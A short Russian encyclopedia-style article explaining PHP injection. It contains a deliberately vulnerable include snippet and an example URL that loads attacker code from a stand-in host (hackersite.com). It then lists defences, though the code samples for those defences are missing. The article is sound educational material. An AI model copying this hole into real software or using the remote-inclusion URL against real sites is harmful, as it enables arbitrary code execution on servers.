PHP-инъекция
PHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:
- eval(),
- preg_replace() (с модификатором «e»),
- require_once(),
- include_once(),
- include(),
- require(),
- create_function().
PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.
Пример
<? ... $module = $_GET['module']; include ($module.'.php'); ... ?>Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.
Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.
Способы защиты
Существует несколько способов защиты от такой атаки:
- Проверять, не содержит ли переменная $module посторонние символы:
- Проверять, что $module присвоено одно из допустимых значений:
Этот способ является более эффективным, красивым и аккуратным.
- Прописать каждое значение через if
- Использовать оператор switch:
Это решение аналогично решению с if, но имеет более компактную запись.
PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путём изменения значения опции allow_url_fopen на Off в файле конфигурации сервера php.ini.
Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.